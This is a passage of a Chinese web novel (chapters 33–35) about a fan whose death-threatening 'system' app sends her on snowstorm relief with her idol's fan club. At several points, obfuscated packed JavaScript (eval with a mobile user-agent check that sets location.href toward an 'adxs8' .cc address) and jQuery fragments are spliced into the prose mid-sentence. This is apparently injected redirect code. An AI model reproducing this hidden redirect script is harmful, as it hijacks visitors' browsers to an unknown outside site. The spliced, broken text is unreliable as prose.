凌钰想想，还是不放心地拍了张超市排队的照片，又发了条信息给孙致容：“最好早做准备，要是你们领导今天让早点下班，你就早点先去把东西买了，以防万一。” 孙致容吓了一跳：“！！这么多人！好，我马上就溜！” 她的预感确实没错，刚过中午，飘飘扬扬的雪又开始落下，很快，上午被汽车压过好不容易露出本色的路面再次被满眼的白覆盖，积雪压断了小区内绿化的树枝，把人行道都挡住了。 好在T市的市政一直做得不错，已经有扫雪车出动。 而她这个小区虽然在郊区，却也还算高档，物业安排了大批工作人员铲雪，又把压塌的树枝移开，总算保证了人能通行。 这边的大雪再次落下，而H市的雪也还是没停，新闻里渐渐有受伤人数的报道，微博上也有明星开始向灾区捐款。 聂嘉远算是其中第一波，工作室中午就发了捐款信息，不过却是以个人名义捐了一千万。 用个人名义捐款这种事的确有，但不多见。 至少当年的林业就从不如此，似乎是因为用工作室去捐会有一定的免税政策，具体情况凌钰不是特别清楚，但其中必然是有些不同的。 早有吃瓜人拉了表格，目前排在聂嘉远前面的，是许久没露面的顶流墨之染，还有影后苏心悦，在他之后倒是有不少人，其中有一位叫王晨之的，捐款之后甚至又带着物资直奔灾区，就连这段时间没什么消息的赵恒都捐了五百万。 聂嘉远后援会也开通了捐款通道，凌钰虽然没接到【识人】的系统任务，还是循着本心捐了四百万。 天灾人祸。 实话实说，她现在拥有的这些钱虽然和自己的性命相关，又和投资的明星是否塌房挂钩，但来的确实比别人容易。既然享受了一部分常人没有的便捷，在能帮上忙的时候尽一点微薄之力，不是坏事。 到了这个时候，在真正的天灾面前，粉圈大战变得毫无意义。她没必要非比赵恒捐得多，显得要跟对方一决高下，还不如安安稳稳紧随其后，也免得再给别人制造话题。 四百万，不多，但也不少。 于是因为她这捐款，本来就已经慷慨解囊的家园们更加摩拳擦掌，不到两个小时就捐了将近三千万。 H市的灾情越来越严重，到下午四点左右，新闻爆出了第一个死亡人员。 这人年纪大了，身体不好腿有些残疾，又不乐意到城里住，也正因为如此，家人才特意在农村给他盖了个平房安置，哪知道雪越下越大，屋顶压下来的时候他行动不便，连跑都没来得及跑。 电视里播放着救援的画面，正准备把今天买来的东西放好的凌钰看到这消息，微微愣了一下。 人在自然面前，实在太渺小了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093160|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从前她一个人在这座城市汲汲营营，为生活而奔波，难免自顾不暇，而如今的她也许还可以再做点什么。 拿起手机，正准备打开微博再看看具体情况，一直安安静静待着的【识人】app忽然疯狂震动，连续跳出了十几条提示。 先是占据了整个屏幕的红色字体：紧急！紧急！紧急！ 接着显示—— 特殊任务：本次解锁资金15000000元，请于3日内用清该金额，本次消费不规定品牌及代言人，请您携带所购物资以正主粉丝名义前往灾区，保证物资能切实送达，不得由此产生争端，否则宿主将在倒计时结束后死亡。 凌钰的第一反应就是，三天？时间好长啊，紧急什么？ 可仔细再看一眼这次的任务内容，她就发现了不对。 这个特殊任务她在最初的提示中曾经看到过，那时对这项任务的解释是：一般在宿主所处环境或社会中发生非人力不可控事件时，根据系统检测按需发布。 她当时忙着保命，只接到过常规任何和临时任务，对这尚未出现的特殊任务并没有实感，自然也没特别放在心上。 没想到会是这个意思。 任务给的钱很多，要求也跟之前的完全不同。而如果是要用这一千五百万买到物资，再亲自把物资送到灾区，以聂嘉远粉丝的名义把东西给到真正需要的人手上，三天的时间就不长了，甚至可以说确实很紧急！ 灾区的路况如何，市里面是什么打算，让不让普通群众去支援，会不会给当地救援造成不必要的麻烦。 这些都是问题，也很复杂。 她虽然有钱却未必能找到可以供货的商家，而就算买到了足够的东西，万一找不到能开大卡车的司机，找不到运货的卡车又该怎么办？ 这些事不能单凭想象去做，更不能只看一腔热血。 尤其今天看到超市里的“盛况”，恐怕在买东西这件事上就会遇到阻碍。凌钰思来想去还是点开了后援会的私信，那边本来就已经在组织代表去当志愿者，她也许可以跟着大部队一块儿去。 短短几个小时的工夫，家园救援群里已经有了大几百人，能去受灾现场的人虽然不多，可群里信息反馈速度快，便于扩散，而帮忙联系可以购买和运输的物资车辆的，也能及时沟通。 凌钰找到组织，终于放下心来。 倒计时一分一秒的过去。 2天23:55:01 2天23:55:00 2天23:54:59 …… 好在T市的雪没下得太过分，到傍晚时分就又停了。 后援会数据组皮下给凌钰发来的私信，约好一会儿就在小区楼下碰面，而H市的情况却越来越不好。 超话里，从前大多都是聂嘉远的美图，如今早已不见，#雪灾#的话题下更是一条接一条的求救信息和接收回复。 有家园在发帖。 【求助！青轩路有人能帮忙吗？家人被困在地下车库出不来，联系方式如下。】 回复她的竟然是个恒星。 【我就在青轩路，马上带人去。已经电话联系上了！很快！放心！】 33.第 33 章 全国范围内不少地方都在下雪，凌钰和数据组皮下刚一见面，就听说了个最新消息。 聂嘉远拍戏的剧组受到雪天影响暂时停工，他不声不响的，竟然也带着人和物资去了灾区。 王羽彤，也就是数据组皮下，一边清点东西一边叹气：“工作室肯定是不想让他去的，就是担心他的安全，可架不住他自己非要去。他老家就是H市的，现在已经没人在那边生活了，但他还是觉得自己的根在那，多个人多份力量。” 而另一位老熟人【家园小助手】——李筱也在叹气：“说起来明星也是人，我们自己都准备去了，但还是担心他。主要嘉远这个人吧，也挺虎的。” 她们三个上次见面还是在国贸的活动现场，没想到再见却都成了志愿者。 后援会这次安排去现场的人一共五个，还有两个男粉正在帮忙搬物资，闻言也道：“嘉远是虎，你们还记得之前那次南方发大水吗？他那会儿刚出道，带着物资直接报名做的志愿者，我们还是从新闻里看到了他一闪而过的镜头。” “是，”王羽彤说到这个，只觉得一口气都上不来，“一闪而过的镜头里他为了拽住一个老大爷，差点被水卷走，吓死我了！” 这些事还真都是凌钰不知道的。 别看她现在在饭圈名声鹊起，可那完全是用钱砸出来的，而要说对聂嘉远的了解，她肯定是在场的人当中最差的。没办法，新粉氪金再厉害，毕竟不是陪他走过来时路的人。 那时的聂嘉远本来也是新人，按照他们的说法，新闻报道时都不知道他是个明星，自然更不可能大肆宣传。 再加上他自己似乎就很低调。 从前是新人时不提，现在他都已经在顶流的位置晃悠了，凌钰也没在新闻上看到他出行的消息，而王羽彤虽然因为是后援会的一员得了这消息，也只是私下说说，并没有要去微博上宣传的意思。 这要是从前的林业或是沈云峰，恐怕早就营销铺满，沸沸扬扬，无论如何也得闹得人尽皆知。 人和人之间差距还真是大。 几个人边聊边干活，中途又有很多去不了现场的嘉远送了东西来，凌钰提前跟物业打好了招呼，此刻整整齐齐五辆大卡车停在路边装货，显得非常壮观。 其实按照常规，这个区域此前是不太让停车的，但现在情况特殊，物业也知道轻重，不仅专门空出了地方，还安排了好几个人帮忙。 在这种偏高档的小区待惯了，物业经理平时也算养尊处优，这会儿抬了两轮箱子，顿时忙得满头大汗：“怎么样？都齐了吗？” 两个男粉在后面数了一圈，最终确定：“都齐了，我们这就准备出发了。” 说着又一通道谢，那物业经理听得连连摆手：“我们也没帮上什么，出不了钱只能出出力了，再说，凌小姐毕竟还是我们的业主呢。只是H市的路况非常不好，天都黑了，你们自己可得注意安全，宁可慢一点。” 他的视线落在卡车旁挂着的横幅上：“聂嘉远粉丝——聂嘉远是个明星？这么五大车东西，你们粉丝这次可花了不少钱吧？” 车确实很大，别看只有五辆，运输能力却极强，东西自然也非常多。 矿泉水、面包是最必要的，此外考虑到那边可能没有热水，凌钰又买了很多自热米饭。 按照系统的要求，这次的东西并不要求必须是聂嘉远代言，不过她还是买了些明顺巧克力——有时候这东西也是可以在关键时刻补充能量的。 吃的喝的是一方面，用的东西也很重要。 暖宝宝、棉袄、棉被，一次性内裤，还有很容易被忽略的卫生纸、卫生巾，再加上一些常备药品，总之应有尽有。调配的货源还算齐，凌钰钱也足够，后援会那边资金比她的还多，一群人一块儿，把但凡能想到的都备了个遍。 那边的男粉笑道：“聂嘉远是个演员，叔也可以去看看他的剧啊。这些东西是不少钱，不过我们粉丝多集资捐得也多，人多力量大。谢谢叔，我们走了啊！” 车辆启动，直至他们彻底走远，物业经理才砸了砸嘴，又摇头晃脑地道：“聂嘉远，聂嘉远是谁啊？等有空了，我倒要看看。” 两市之间离得不远，虽然不太好走，但好歹还是清出了一条道。 这注定是个不眠之夜。 微博上，很多家后援会都在号召捐款捐物。 凌钰一路都靠在车背上昏昏沉沉，一旁坐着的王羽彤和李筱还在看手机，时不时聊上两句：“这次好像真的很严重，刚刚报道又有伤亡了。” “哎，希望没事吧。现在说这些都没什么用，只能做力所能及的，刚刚好几家后援会都来联系我们了，可能马上打算发布联合捐款公告，有钱的出钱，没钱的出力出关系，都要动起来了。” “是啊，这个时候再挑事的就太不是人了，你看看这条，一看就知道这人不追星，问我们明明是对家怎么会救对方的粉丝……” 凌钰本来都快睡着了，听到这话不由睁开了眼。 她有些好笑：“我们只是追星，又不是疯了，对家怎么了？那只是立场不同，可现在这时候还谈什么对家？我们首先有一个身份，就是中国人。” 别说聂嘉远和赵恒这样的对家，就是当初的林业和沈云峰，在之前那场洪水来临时后援会也是发过联合公告的。 无论正主如何，在这种大是大非的问题上，粉丝的爱永远拿得出手。 考虑到后面到了现场还要帮忙干活，凌钰一路上没敢硬撑，还是抓紧时间能睡则睡。 从T市到H市原来最多两个小时的路程，五辆大卡车走走停停，愣是开了将近五个小时。直至车辆进了市区，有当地安排的人来接应，带着他们暂时到了安全区域，她才来得及看了会儿网上的情况。 凌晨六点，二十站联合公告发出。 曾经乌烟瘴气时不时就给人一点震撼的娱乐圈又给了众人一点小小的震撼。 这里面别说是聂嘉远赵恒，就是曾经最夸张的对家——顶流墨之染和白雨夜的官方后援会也都在其中，形成了一道非常独特的风景线。 路人都有些没想到。 【这是什么内娱大团结？是我眼花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098146|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗？】 【真是好久不见的场景，上次好像还是五六年前南方大水的时候吧，也有过联合公告，不过那时候站子没今年多。】 【这快到年底了，内娱就跟有什么KPI要完成一样，你看前段时间一个接一个的塌吵得你死我活，没想到现在又联合捐款了，谁能想到呢，闹的时候是他们，捐款捐物的也还是他们。】 【也不能说不计前嫌了吧，只是孰轻孰重大家还是能分得清的，有仇之后再报，现在先把该做的事做好。】 【自古以来的传统，内部矛盾是内部矛盾，后面可以慢慢解决，天灾来了，那肯定还是先要救人的。现在齐心协力救人，也不耽误后面继续吵架，哈哈！】 【但是别的不说，能做到这样也挺感人的了。】 【是啊，其实粉丝都挺好的，只是可惜内娱就这么大的饼，难免有利益冲突。】 凌钰只大概刷了一会儿微博就放下了手机。 天上还在不要本钱地下着雪。 他们被带到的地方很空旷，虽然看不太出来原先的模样，但应该是什么广场。 市里面已经安置了很多活动板房，大批被转移的居民都暂时住在这里，除了工作人员，帮忙的志愿者也非常多。聂嘉远粉丝的物资刚一到，就立刻卸货开始统一分发。 王羽彤作为数据组皮下，算是后援会的官方代表，除了帮忙干活还得拍照记录发给后方的姐妹——这些后续该宣传还是得宣传的，毕竟捐钱款物的同担们也都在等着看。 凌钰和李筱和另外两个男粉就相对轻松些。 几个人虽然也来来回回在附近搬了半天的东西，但这个时候都是流水作业，反倒比之前在T市上货的时候省力，搬完之后就被安排着暂时到一边休息。 五辆大卡车的东西看着多，真正分发下去之后就知道，不过杯水车薪罢了。凌钰精疲力竭地靠在一张小马扎上，直到最后一包物资被受灾群众领走，她的手机才忽然震动起来。 任务完成，倒计时结束，附赠寿命和银行卡同时到账。 看着那“1”后面数不清的“0”，凌钰难得地提不起一点劲。 太累了。 一旁的王羽彤和李筱压着帽子已经在闭目养神，又累又冷又饿，不远处有人喊着可以吃饭了，凌钰的手机却再次疯狂震动起来。 特别提醒：您已解锁正主2，请您于2小时内确定投资人选，否则宿主将在倒计时结束后死亡。 最新任务：本次解锁资金1000元（本次资金仅限用于正主2），请于2小时内用清该金额，并将所购物品送出，请确认同担身份，保证抽奖公正，不得由此产生争端，否则宿主将在倒计时结束后死亡。 又来！！！ 你现在就让我死亡吧！ 凌钰差点没怒吼出声，然而下一秒她就看到了两个熟悉的身影。一个正是她现在的正主聂嘉远，另一个则是之前就报道过前往灾区的爱豆王晨之。 凌钰还没来得及说话，王晨之就笑嘻嘻地先开了口：“我知道你，你是聂哥的那个粉丝！” 34.第 34 章 粉见正主，突如其来。 虽然是王晨之先出的声，可众人的目光还是不约而同投向了他身边站着的聂嘉远。 没办法，这人的长相实在太优越了。一身长款的黑色羽绒服，戴着黑色冷帽，越是简单的装扮越衬得他成熟稳重又自带青春男大的气息，本来就是冷白的肤色，在大雪中更加耀眼，让人视线锁定，难以转移。 王晨之已经算是新晋爱豆里长得好的了，对比之下也黯然失色。 凌钰还有些愣怔，身旁的王羽彤和李筱就先跳了起来。 她们昨晚颠簸了一路，忙到现在可以说是蓬头垢面，在最初的惊喜之后，所有的情绪就又都成了惊吓，轻轻喊了声“嘉远”，又和王晨之点头笑笑算是打过招呼，就开始低着头往后缩。 一旁的男粉虽然不至于像她俩那么夸张，可激动之情也溢于言表，满脸都写着兴奋，然而太多的情绪交杂，本来还挺能说会道的两张嘴一下成了哑巴。 四个人同时躲开，被点名的凌钰瞬间脱颖而出。 凌钰有些瞠目结舌地回过头左右看了好几眼，最后将视线定格在王羽彤身上。 不是…… 别人也就算了，你作为数据组皮下，官方后援会管理之一，大活动时偶尔还要负责和工作室对接的人，平时见正主机会也不少，怎么也表现得这么没出息？ 虽然一句话没说，但她这反应和表情都太生动了，对方瞬间懂了她的意思。 但那又什么办法，聂嘉远的脸近在咫尺，如果是从前那种官方活动的大场合反倒还好，那时候总能明确感受到他们之间的差距，他们是粉丝，他是偶像，双方永远隔着十万八千里。 可现在这人站在那里，像个邻家大哥哥似的完全没有距离，王羽彤只觉得心怦怦乱跳实在难以招架，不仅继续后退，甚至还把凌钰往前推了一把。 死道友不死贫道，谁年纪大谁上。 谁叫对面王晨之最初那句话也是对她说的。 空气中不知不觉弥漫起尴尬的气息，凌钰其实也想退后，不过和他们几个因过分激动而退缩的想法不同，她是觉得粉丝最好离正主远一点，况且之前他俩还被传过谣，万一再被拍了放上新闻，恐怕又要惹出事端。 但想归想，现实却是无路可退。凌钰只好笑着朝面前的两人点了点头，又对先说话的王晨之道：“我也知道你，你和嘉远一起上过综艺。” “对。” 被人认出来，哪怕是别人的粉丝，王晨之也明显挺高兴。他长得幼态，是很容易就让人产生好感的类型，听到凌钰这么说，顿时嘿嘿笑道：“我和聂哥上次见面就是在综艺录制的时候，没想到会在这里遇到，更没想到会看见你们。” 他略显感慨地往回看：“五大车东西，肯定花了不少钱出了不少力，你们可真厉害。” “不瞒你们说，我也是到了之后才知道自己上了新闻，当时一听这边出了事有需要我就赶紧带人带物资过来了，也没敢通知经纪人，后来公司那边知道之后打电话过来把我和助理骂了个半死。” 他说着叹了口气：“骂就骂吧，都这时候了，骂我肯定也要来的。” 在这之前，凌钰对王晨之的了解其实很有限。 虽然是新晋爱豆，但内娱的舞台确实不多，否则当年的林业和沈云峰也不至于非得转型，不过是因为做爱豆实在没有什么可以露脸的机会。 一个组合那么多人，每年两三个晚会可以上台，浓妆艳抹之下看上去每个人都长得差不多，哪怕能分到十几秒的镜头，又能如何？ 当年如此，现在也一样，所以王晨之这个爱豆更多的出现都是在综艺里。他长得讨喜，性格也很外向有综艺感，话够多人够活泼，基本不会让气氛冷场，更不会把任何一句话掉到地上，简直先天综艺圣体。 就譬如现在。 凌钰不过才说了一句，他就立刻接了一坨。 聂嘉远在旁边看小孩似的看着他，直到他终于说完，才拍了拍他的肩膀：“骂你也是担心你，其实我也被经纪人骂了，没事，早点把这边忙完早点回去，能帮到忙，再保证好自身安全就好。” 又看向凌钰问：“你们今天回去吗？” “应该不回吧，”凌钰其实也不太确定，只是该说话该做主的人这会儿吓得根本不敢开口，她只能顶上，“司机师傅开了一晚上的车，安全起见，可能还是要等到明天一早再回去。” 话说到这里，也就差不多该结束了。 偶像和粉丝之间毕竟还是要保持距离的，说是最熟悉的陌生人也不为过，见面了可以寒暄，却不可深谈。 凌钰点到为止，只回答，不提问，聂嘉远自己显然也心中有数，点点头又吩咐了两句让他们注意安全，就准备先行离开。 然而他想走，却挡不住王晨之是个热闹性子，根本没来得及开口道别，他就听身边的人热情邀请道：“可以去吃饭了，你们要不一起呗，正好我来的时候自己开了房车的，里面有空调也暖和。” 可能是出道的时间不久，又不是很红，所以这人根本还没有任何一点身为爱豆的自觉。 凌钰下意识就要推脱，就连身后几个粉丝也小声嘀咕：“不了吧……” 但聂嘉远抬起头看了一眼还在下雪的天，却先松了口：“一起去车上吃吧，这里确实冷，那边虽然有一间板房是供大家吃饭的，不过地方也紧张，你们来帮忙别把自己先给冻坏了。” 正主发了话，几个人顿时鹌鹑似的点了头。 最初的紧绷感渐渐消失，王羽彤挽着李筱的胳膊和两个男粉跟着往前走，总算敢开口了。凌钰慢慢放松下来，走在队伍最后，下意识看了一眼手机。 大红色的倒计时还在继续。 01:41:54 01:41:53 …… 这个时候，让她去哪儿挑个人做正主2啊！ 她的思绪有些飘。 纵观最近的娱乐圈，真的很不太平，而要说稳妥，顶流墨之染这些年倒是很稳妥，可如今却总是一副下一秒就要退圈的样子。他的对家白雨夜则很上进，可实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101200|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太上进了，反倒添了些功利，平时的声誉不是很好。 再看影后苏心悦，那也是无欲无求的半隐退状态。往后的次顶们，她都不是很了解，至于新人…… 凌钰的目光落在了前方滔滔不绝的王晨之身上。 这个人别的不说，至少在雪灾开始的第一瞬间就敢于冲到前线，比起别人，因为他总和聂嘉远一起上综艺，凌钰还算知道一点他的性格。 一个略显没心没肺，还有些天真活泼的半大小子。因为不红，他过得反倒比一般爱豆舒服，而且他背靠大公司，业务能力其实不错，将来未必就不能闯出一番天地。 心里存了这个想法，凌钰没有立刻行动，还是打算再近距离观察观察。 不急，时间还够。 进了房车，果然比外面暖和得多。 凌钰不动声色地坐在最靠近门的地方，说是吃饭，其实条件有限也就能吃口热乎的泡面。几个人边吃边聊了两句，聂嘉远还关心了一下凌钰的住房问题，王晨之则简单说了说自己的近况。 话说的不多，两人堪称狼吞虎咽，约好了吃完继续去帮忙，得早点走。 临走之前，王晨之大方摆手：“这是我自己的车，你们不急，吃完了可以在车里休息一会儿。走之前告诉我，我们先去。” 想想又提议：“要不我加你们谁的微信吧，回头好联系。” 他这一说，那几个家园又开始往后缩。正主在前却要加别的明星微信，大家是既怂又有点不愿意，可又不好说出口。四目相对间，凌钰无可奈何道：“那加我吧，我们下车的时候发你消息，到时候你来锁车。” 房车里值钱的东西不少，这地方人多又杂，还是不能真的太过随意，否则好事变坏事，可就谁都说不清楚了。 一旁的聂嘉远怎么都没想到会有这种神展开，顿时微愣，搂住王晨之的脖子，表情可以说十分精彩。 “我的粉丝我还没加，你倒是加上了，兄弟，你这样显得我很不会做人啊！”他说着，面带疑惑地将一双修长的手伸进了口袋，手机也掏出了一半，不太确定地抬起头，“要不，我也加一下？” 凌钰捏着手机满脸带笑，没吭声，也没动弹。 王晨之却明显被吓了一跳，表情夸张地连忙摁住他的胳膊，猴子似的又笑又叫，把周围几个人全给逗乐了。 “理智，理智！你可别冲动！我错了聂哥，但是我糊啊，而且这还不是我粉丝！再说了，我平时加粉丝那叫宠粉叫友好，你加粉丝那可是媚粉是私联，别别别，不至于……” 直到两人逐渐走远，凌钰身后才终于有了动静。 “妈哎，嘉远的微信，我想都不敢想。” “这个王晨之真的一点儿明星样子都没有，之前就听说他和粉丝都像朋友，原来是真朋友……” “我觉得他不像明星，他像我家隔壁邻居家傻孩子，这么接地气，神秘感都没了。你们看到嘉远刚刚目瞪口呆的表情了没？什么？！我的粉丝，你又邀请又加联系方式的，那我是什么，小丑吗？哈哈哈！” 35.第 35 章 凌钰最终当然没能加上聂嘉远的微信，几个人虽然觉得有些遗憾，更多的反倒是安心。 王羽彤第一个拍了拍胸口：“其实不加也好，加了还怪吓人的。” 李筱也缩着脖子四下打量了一番他们所在的房车内部，先感慨了一番才道：“我也觉得，其实我觉得连微博互关都很吓人，因为这样你的一举一动都会被无限放大，说的话做的事都可能直接影响到正主。” 她撇着嘴心有余悸地摇了摇头：“我可不敢。” “追星姐的微博还好，每天就是氪金，但是像我这种碎嘴子动不动就爱吐槽的，真担心自己说错话害了嘉远，至于微信就更私密了。有一点王晨之说的对，嘉远现在这个身份，粉丝还是离他的生活远一点比较好。” 身后的两个男粉也笑：“追星姐肯定也是这么想的，刚才嘉远都在掏手机了，她却稳如老狗，不仅不慌，甚至还一直捂着手机满脸都是拒绝，哈哈！” 彼时的凌钰确实微微遮住了屏幕，不过倒不单纯是因为这些，而是她的倒计时已经进入最后半小时。 鲜红的数字逐渐放大，占据了大半的屏幕，而很久没有再出现的窒息感也缓缓涌现，逼迫着她必须立刻作出决定！ 00:27:25 00:27:24 …… 算了！ 如果真的有什么问题，大不了就跑，总之她还有聂嘉远这个保底选项在。 凌钰没再犹豫，也没有时间再犹豫了。点进某个小面包的官方旗舰店，下单之后进入王晨之的超话发帖。 【@我来追星了：#王晨之#wcz#王晨之前往H市# 感谢王晨之今天对大家的照顾，前线支援辛苦了！买了一点小面包抽奖送给橙子们，注意！只送小橙子哦！十分钟之后开奖！谢谢！@王晨之】 消息发完，她返回自己主页，把简介改成了——当前正主：聂嘉远、王晨之。 王晨之的粉丝和家园们刚开始都有些没反应过来，等回过神之后，评论顿时如同潮水般激增。 【妈诶，这不是大名鼎鼎的追星姐吗！】 【怎么回事，我们家王晨之撞大运了还是他今天出门烧高香了！去帮忙救灾还攀上氪金粉了！呜呜呜小王你使了什么狐媚子的手段，不管什么手段，有用就好啊！妈妈就知道你不是个孬种！妈妈此生分明了！】 【啊啊啊啊！什么！你们快去看啊！这位姐简介加了个王晨之哈哈哈哈！妈呀！我家王晨之也配的吗？对不起啊小王，追你两年了我才给你花了一两百，主要你代言的东西也是真便宜……】 【看这条微博我本来以为只是追星姐被照顾之后的感谢，没想到简介也换了，真的假的啊？小王配不配我不知道，关键是我配有这样的同担吗？】 【那……我们这帮小橙子也有翻身农奴做主人的一天了？罕见！真罕见啊！不敢相信，害怕是假的，谁能掐一把我的大腿！】 【我不管，先试试，抽我抽我！】 【家园不参与抽奖，就来看看热闹，如果真的抽中我就劳烦追星姐再重新抽一把了，小王家粉丝这么搞笑的吗？哈哈哈哈！不过他俩估计是遇上了，追星姐跟我家后援会的人一起也去前线支援了。】 【呜呜呜我就说好人有好报吧，小王此生也分明了！】 一片嘈杂中，被艾特的王晨之忽然上线反手关注了凌钰，转发评论。 【什么？！哈哈哈哈哈是氪金粉！我有救了！】 他这句简直神来之笔，围观众人差点没笑岔气。 【王晨之你能不能不给妈妈丢脸啊，你在干什么！我还以为这条是哪个姐妹发的，结果一看“我有救了”……大哥！你给我矜持一点！哈哈哈虽然我也矜持不了一点。】 【王晨之真的，搞笑人设不倒。】 【捞捞王晨之，现在感觉追星姐才是王晨之的正主，我真的笑死。有没有人敢艾特聂嘉远啊，有人抢他粉丝，我不敢艾特。】 【那有啥不敢的？我来！@聂嘉远，有人抢粉丝了你还不来！哈哈哈哈哈！】 【谁敢@聂嘉远？我不敢@聂嘉远！@聂嘉远快来看啊！】 大概是网上艾特的人实在太多了，聂嘉远终于上线回复。 【你们当我不知道吗？】 下方配图，正是和他一起站在冰天雪地中，抱着手机笑得满脸荡漾的王晨之。 两家粉丝顿时笑到仰倒，凌钰这个号如今毕竟名声在外，王晨之再糊也到底还是个小爱豆，再加上聂嘉远这一上线评论，话题讨论度顿时猛增。 没过多久，#王晨之聂嘉远#、#王晨之我来追星了#的词条就冲上了热搜，接着，#聂嘉远H市#的话题跟着登顶。 面对雪灾这样的特殊情况，聂嘉远和赵恒的后援会和站子的确不计前嫌联合发了捐款公告，可却并不代表两家的仇怨就真的没了。 安安静静没什么动态时，大家倒也还能保持基本的礼貌和表面的平衡，可这会儿忽然闹出这么大动静，那帮恒星哪里还憋得住？ 【又来，一天到晚就跟自己的粉丝不清不楚，说起来么对标顶流，做起来么天天媚粉，就这么个氪金粉还争上了，而且姓王的那咖位他也去互动，也不怕自降身份。】 【某位氪金粉是真的没钱了吧？之前说要露宿街头看来是真的，什么识人公司的股东啊，占股那么一点点，估计就是公司账从她那边走一走的水平，赚了点钱全花光了，被扫地出门后没地方去，所以也跟着去H市了？】 【那帮橙子要不要晚点再捧臭脚啊？一千块钱也值得你们舔成这样？】 【要不说某人会选呢？就专挑那种不太红的追才好出名吧，又是互关又是互动的，想红想疯了。丑聂还特把她当回事，人家搞不好只是拿你当跳板。】 【看了都让人觉得可怜的程度。她要真有钱，怎么不去追墨某某白某某什么的，还不是因为她那点钱摆到人家粉圈，根本屁都不是！】 【丑聂才是真正的心机男吧？看似回复王某人的粉丝，其实是让大家都知道他也在H市，我就说他这种人，要真去了救灾前线怎么可能忍住不说？原来在这儿等着呢。】 【就是，某氪金粉要是真拿他当跳板，那也是你情我愿，臭味相投，不是一家人不进一家门。】 不过，经过之前好几次的交锋， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109630|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今的恒星到底还是涨了点记性，虽然依旧冷嘲热讽，却再也没有人敢真的贴脸开大。无非就是在自家粉圈提一提，连名字都用了各种各样的代称。 这点小小的谩骂不痛不痒，凌钰连看都没去看。 现在这个点，没有什么比她完成任务更重要了。 身边的四位家园显然也没料到她会突然有这种操作，一时忍不住边刷微博边感慨：“姐妹你又开始了？” “也就是王晨之这会儿出去帮忙了，不然他估计要在这儿发表好长一通演讲，他人看着还真挺好的，也难怪他粉丝虽然不多，但粘性高。只是我还是喜欢嘉远一个，”李筱说着，又嘿嘿一笑，“还有一个原因，是我没钱追第二个哈哈！” 王羽彤悄没声息地往外看了一眼，也压低了声音：“谁说不是呢？我要是跟追星姐一样有钱，我也立志给全内娱的明星们一个温暖的家！” 虽说大家都是同担，又一块儿从T市到了H市，可在他们心中凌钰其实却是很特别的存在。 一位爬墙而来豪掷千万异军突起和偶像互关的氪金粉，地位确实是有些超然的，所以哪怕她突然变成了双担，几个人在最初的愣怔之后接受得也很快。 因为有钱人的乐趣可能就是这么简单。 再说她只是双担，又没有脱粉，只要还是家园那就一切好说。 就连剩下两个已经累到瘫倒的男粉也道：“有钱真好啊，有钱我们就不这样追星了，直接开个娱乐公司，看中谁签谁，喜欢谁捧谁！然后每天让聂哥带着他们进组，给我一直拍戏，苦了谁也不能苦了粉丝啊！” 几个人说话的工夫，十分钟眨眼过去。 微博准时开奖，只是王晨之的粉圈毕竟还有些乱，再加上两位明星回复之后这条帖子也不全是橙子们在发言，因此中奖的二十个人当中有五位都不符合条件。 抓紧时间又重新发了一条，凌钰才下意识深吸了一口气。 房车里的温度很高，刚刚待在里面时只觉得温暖舒适，将外界的严寒全部隔绝，可此刻她的呼吸逐渐困难，心跳也变得又重又快，人的全部神经都因此紧绷，浑身的不适感顿时加重。 李筱的视线落在她额头上：“你是不是很热啊？说实话这里面是有点闷了，再休息一会儿咱要不就下去吧。” “没事，”凌钰却摇头，干脆抬手脱了外套靠在椅背上休息，“昨晚都没睡好，这会儿难得有机会就先休息着，不差这一会，等睡一觉起来再去帮忙，省得还没干什么呢自己先倒了，别人还得照顾咱们。” 这话倒是真的。几个人也没再争，纷纷闭目养神。 而等待的过程中，凌钰的脑子里飞速运转，已经又有了打算。 等这次的任务结束，她无论如何也好好再跟系统掰扯掰扯。 又过了非常艰难的五分钟，抽奖结束，任务完成。手机倒计时瞬间消失，银行卡到账。 